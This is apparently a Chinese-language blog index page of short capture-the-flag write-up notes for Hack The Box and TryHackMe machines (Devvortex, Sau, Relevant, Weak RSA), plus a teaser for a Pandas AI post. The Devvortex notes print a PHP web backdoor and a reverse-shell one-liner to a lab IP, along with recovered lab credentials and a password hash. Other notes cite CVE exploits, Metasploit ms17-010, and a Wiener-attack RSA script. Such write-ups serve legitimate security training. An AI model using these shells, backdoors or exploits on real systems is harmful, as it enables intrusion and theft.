跳轉到

Posts

HTB - Devvortex 靶機滲透

靶場地址

點我前往

過關條件

  • user flag
  • root flag

速記

  • 資訊蒐集階段
    • 開放Port:22、80
    • 有設定vhost -> devvortex.htb
    • 進行目錄爆破沒有可用線索
    • 進行子域名爆破獲得 -> dev.devvortex.htb
    • 針對dev.devvortex.htb -> 獲得 ``/administrator```目錄
    • 連線至/administrator 發現是Joomla框架
      • 使用 http://dev.devvortex.htb/administrator/manifests/files/joomla.xml 得知Joomla版本號4.2.6
      • 該版本有 CVE-2023-23752 漏洞
      • 可用這個 [exploit] (https://github.com/Acceis/exploit-CVE-2023-23752)
      • 攻擊後,發現資料庫的帳號密碼,等同於網站登入的帳號密碼lewis:P4ntherg0t1n5r3c0n##
      • 進入後台後,尋找template設定頁面,寫入system($_GET['cmd']);注入後門
      • 使用php -r '$sock=fsockopen("10.10.14.90",4444);system("bash <&3 >&3 2>&3");'來拿到Reverse shell
  • 進入主機階段
    • user flag
      • 剛進入主機,拿到權限是www-data,權限過低
      • 連到剛剛爆破的資料庫,從sd4fg_users取得logan的密碼```$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12
      • 使用hashid確認密碼格式,得知加密bcrypt
      • 使用HashCat進行爆破,得到密碼tequieromucho
      • 嘗試使用logan:tequieromucho進行SSH登入,可正常登入
    • root flag
      • 使用sudo -l確認目前使用者權限,得知(ALL : ALL) /usr/bin/apport-cli
      • 檢查apport-cli版本號,版本號:2.20.11
        • 該版本有CVE-2023–1326 漏洞,可根據前面的網站直接使用

滲透過程

閱讀限制

滲透過程有受到作者設定的閱讀限制...

使用 Pandas AI 進行數據分析

原由

今天我的工作夥伴推來了一個客戶的一個需求,由於他們的平台需要經常性接收來自來自第三方平台的報表匯入,並且每個平台上的資料內欄位不同, 所以導致若有User上傳了一些不受支援的第三方平台的報表時,為了符合平台資料庫設計的資料庫欄位,就變得需要由工程師額外介入處理調整,因為這個原因,他們期望調整匯入的資料欄位格式的工作能簡化到是由一般行政人員甚至使用者就能單獨完成。

原本想從Python 的 Pandas套件入手,然後偶然的情況下,在逛GitHub的時候發現Pandas AI這個套件,它結合了人工智慧和資料處理技術,可以透過AI有效地分析和理解大量的資料,以下是簡易的筆記,以及用簡單的範例所做的練習。

HTB - Sau 靶機滲透

靶場地址

點我前往

過關條件

  • user flag
  • root flag

速記

  • 資訊蒐集階段
    • 80 Port 呈現 filtered 狀態,防火牆可能阻擋
    • 重頭掃了一次Port,55555 Port有開
    • Port 55555 上有 Request Baskets 服務
  • 進入主機
    • user flag 拿取沒難度
    • root flag
      • sudo -l 可得知目前的使用者擁有systemctl權限
      • systemctl檢查版本為245,有CVE-2023-26604 漏洞,可用來進行權限提升

滲透過程

閱讀限制

滲透過程有受到作者設定的閱讀限制...

THM - Relevant 靶機滲透

Penetration Testing Challenge

靶場地址

點我前往

題目背景

You have been assigned to a client that wants a penetration test conducted on an environment due to be released to production in seven days.

Scope of Work

The client requests that an engineer conducts an assessment of the provided virtual environment. The client has asked that minimal information be provided about the assessment, wanting the engagement conducted from the eyes of a malicious actor (black box penetration test). The client has asked that you secure two flags (no location provided) as proof of exploitation:

  • User.txt
  • Root.txt

Additionally, the client has provided the following scope allowances:

  • Any tools or techniques are permitted in this engagement, however we ask that you attempt manual exploitation first
  • Locate and note all vulnerabilities found
  • Submit the flags discovered to the dashboard
  • Only the IP address assigned to your machine is in scope
  • Find and report ALL vulnerabilities (yes, there is more than one path to root) (Roleplay off)

I encourage you to approach this challenge as an actual penetration test. Consider writing a report, to include an executive summary, vulnerability and exploitation assessment, and remediation suggestions, as this will benefit you in preparation for the eLearnSecurity Certified Professional Penetration Tester or career as a penetration tester in the field. Note - Nothing in this room requires Metasploit

Machine may take up to 5 minutes for all services to start.

靶機類型

免費靶機

過關條件

  • User flag
  • Root flag

速記

  • 資訊蒐集階段
    • 作業系統: 預測是 windows_server_2016
    • 開放PORT: 80,135,139,445,3389
    • SMB 服務有開放訪客帳戶登入
    • SMB 服務進行弱掃,發現ms17-010漏洞
    • 在Metasploit使用exploit/windows/smb/ms17_010_psexec進行攻擊
  • 進入主機
    • 利用ms17-010漏洞攻擊後得到的shell已經是root權限
    • user flag 和 Root flag 獲取無壓力

滲透過程

閱讀限制

滲透過程有受到作者設定的閱讀限制...

HTB - Weak RSA

題目地址

點我前往

過關條件

  • 解密訊息並拿到flag
解密code
from Crypto.PublicKey import RSA
from Crypto.Util.number import *
import owiener

def get_pubkey(f):
    with open(f) as pub:
        key = RSA.importKey(pub.read())
        return (key.n, key.e)

def get_ciphertext(f):
    with open(f, 'rb') as ct:
        return bytes_to_long(ct.read())

def decrypt(N, e, d, ct):
    pt = pow(ct, d, N)
    return long_to_bytes(pt)

def run(key_path, flag_enc_path):
    n, e = get_pubkey(key_path)
    c_text = get_ciphertext(flag_enc_path)
    d = owiener.attack(e, n)
    flag = decrypt(n, e, d, c_text)
    return flag


if __name__ == '__main__':
    print(run('./key.pub', './flag.enc'))

過程分析

閱讀限制

過程分析有受到作者設定的閱讀限制...